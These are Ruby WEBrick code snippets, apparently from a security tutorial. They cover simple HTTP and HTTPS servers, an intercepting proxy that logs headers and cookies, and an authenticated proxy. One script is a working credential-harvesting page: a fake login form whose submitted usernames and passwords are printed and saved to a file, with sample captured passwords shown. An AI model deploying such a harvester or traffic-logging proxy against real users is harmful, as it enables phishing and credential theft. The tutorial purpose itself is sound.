ruby -run -e httpd /var/www/ -p 8000

require 'webrick'
server = WEBrick::HTTPServer.new :Port => 8000, :DocumentRoot => '/var/www/'
# WEBrick::Daemon.start   # Stating WEBRick as a daemon
server.start

require 'webrick'
require 'webrick/https'
​
cert = [
  %w[CN localhost],
]
​
server = WEBrick::HTTPServer.new(:Port         => 8000,
                                 :SSLEnable    => true,
                                 :SSLCertName  => cert,
                                 :DocumentRoot => '/var/www/')
server.start

#!/usr/bin/env ruby
#
# KING SABRI | @KINGSABRI
#
require 'webrick'
​
#
# Servlet: Is a Web Server with custom behavior class
# It's a subclass of WEBrick::HTTPServlet::AbstractServlet
#
class RubyfuServlet < WEBrick::HTTPServlet::AbstractServlet
​
  # Control 'GET' request/response
  def do_GET(req, res)
    res.status = 200
    res['Content-Type']   = "text/html; charset=UTF-8"
    res['Server']         = "Rubyfu WebServer"
    res['Cache-Control']  = "no-store, no-cache,"
    res.body              = print_login(req)
  end
​
  private
  # Show login
  def print_login(req)
    html = %q{
      <center>
        <table cellpadding="3" border="1">
        <tr><td colspan="2"><center><h4><b>Enter your Username and Password</b></h4></center></td></tr>
        <form method="POST" action="/login">
                <tr><td><strong><b>Username:</b></strong></td><td><input name="username" type="text"></td></tr>
                <tr><td><strong><b>Password:</b></strong></td><td><input name="password" type="password"></td></tr>
                <tr><td colspan="2"><center><h1><b><input type="submit" value="Login" /></b></h1></center></td></tr>
        </form>
        </table>
      </center>
    }
  end
​
end
​
class Login < WEBrick::HTTPServlet::AbstractServlet
​
  # Control 'POST' request/response
  def do_POST(req, res)
    status, content_type, body = save_login(req)
    res.body  = body
  end
​
  # Save POST request
  def save_login(req)
    username, password = req.query['username'], req.query['password']
​
    if !(username && password).empty?
      # Print Credentials to console
      puts "\n-----[ START OF POST ]-----"
      puts "[+] #{username}:#{password}"
      puts "-----[ END OF POST ]-----\n\n"
      # Write Credentials to file
      File.open("credentials.txt", '+a') {|f| f.puts "#{username}:#{password}"}
      return 200, 'text/plain', 'Success! Thank you.'
    else
      puts "[!] Empty username and password."
      return 404, 'text/plain', 'Wrong username or password!'
    end
​
  end
end
​
​
begin
  port = ARGV[0]
  raise if ARGV.size < 1
​
  # Start Web Server
  puts "[+] Starting HTTP server on port: #{port}\n"
  server = WEBrick::HTTPServer.new(ServerName: "Rubyfu HTTP Server",
                                   Port: port,
                                   BindAddress: '0.0.0.0',
                                   AccessLog: [],
                                   Logger: WEBrick::Log.new(File.open(File::NULL, 'w'))
                                   )
  server.mount("/", RubyfuServlet)
  server.mount("/login", Login)
  trap "INT" do server.shutdown end
  server.start
​
rescue Exception => e
  puts "ruby #{__FILE__} <WEB_SERVER_PORT>" if ARGV.size < 1
  puts e, e.backtrace
  exit 0
end

ruby webrick-server.rb 8080
[+] Starting HTTP server on port: 8080
​
-----[ START OF POST ]-----
[+] admin:AdminPassw0rd@!
-----[ END OF POST ]-----
​
​
-----[ START OF POST ]-----
[+] support:Puppies
-----[ END OF POST ]-----
​
[!] Empty username and password.
​
-----[ START OF POST ]-----
[+] user1:12345678
-----[ END OF POST ]-----

ruby -r webrick/httpproxy -e 's = WEBrick::HTTPProxyServer.new(:Port => 8080, :RequestCallback => Proc.new{|req,res| puts req.request_line, req.raw_header}); trap("INT"){s.shutdown}; s.start'

require 'webrick'
require 'webrick/httpproxy'
​
handler = proc do |req, res|
  puts "[*] Request"
  puts req.inspect
  request = req.request_line.split
  puts "METHOD: "      + "#{request[0]}"
  puts "Request URL: " + "#{request[1]}"
  puts "Request path: "+ "#{req.path}"
  puts "HTTP: "        + "#{request[2]}"
  puts "Referer: "     + "#{req['Referer']}"
  puts "User-Agent: "  + "#{req['User-Agent']}"
  puts "Host: "        + "#{req['Host']}"
  puts "Cookie: "      + "#{req['Cookie']}"
  puts "Connection: "  + "#{req['Connection']}"
  puts "Accept: "      + "#{req['accept']}"
  puts "Full header: " + "#{req.header}"
  puts "Body: "        + "#{req.body}"
  puts "----------[END OF REQUEST]----------"
  puts "\n\n"
​
  puts "[*] Response"
  puts res.inspect
  puts "Full header: " + "#{res.header}"
  puts "Body: " + "#{res.body}"
  puts "----------[END OF RESPONSE]----------"
  puts "\n\n\n"
end
​
proxy = WEBrick::HTTPProxyServer.new Port: 8000,
                                     ServerName: "RubyFuProxyServer",
                                     ServerSoftware: "RubyFu Proxy",
                                     ProxyContentHandler: handler
​
trap 'INT'  do proxy.shutdown end
​
proxy.start

#!/usr/bin/env ruby
require 'webrick'
require 'webrick/httpproxy'
​
# Start creating the config
config = { :Realm => 'RubyFuSecureProxy' }
# Create an htpasswd database file in the same script path
htpasswd = WEBrick::HTTPAuth::Htpasswd.new 'rubyfuhtpasswd'
# Set authentication type
htpasswd.auth_type = WEBrick::HTTPAuth::DigestAuth
# Add user to the password config
htpasswd.set_passwd config[:Realm], 'rubyfu', 'P@ssw0rd'
# Flush the database (Save changes)
htpasswd.flush
# Add the database to the config
config[:UserDB] = htpasswd
# Create a global DigestAuth based on the config
@digest_auth = WEBrick::HTTPAuth::DigestAuth.new config
​
# Authenticate requests and responses
handler = proc do |request, response|
  @digest_auth.authenticate request, response
end
​
​
proxy = WEBrick::HTTPProxyServer.new Port: 8000,
                                     ServerName: "RubyFuSecureProxy",
                                     ServerSoftware: "RubyFu Proxy",
                                     ProxyContentHandler: handler
​
trap 'INT'  do proxy.shutdown end
​
proxy.start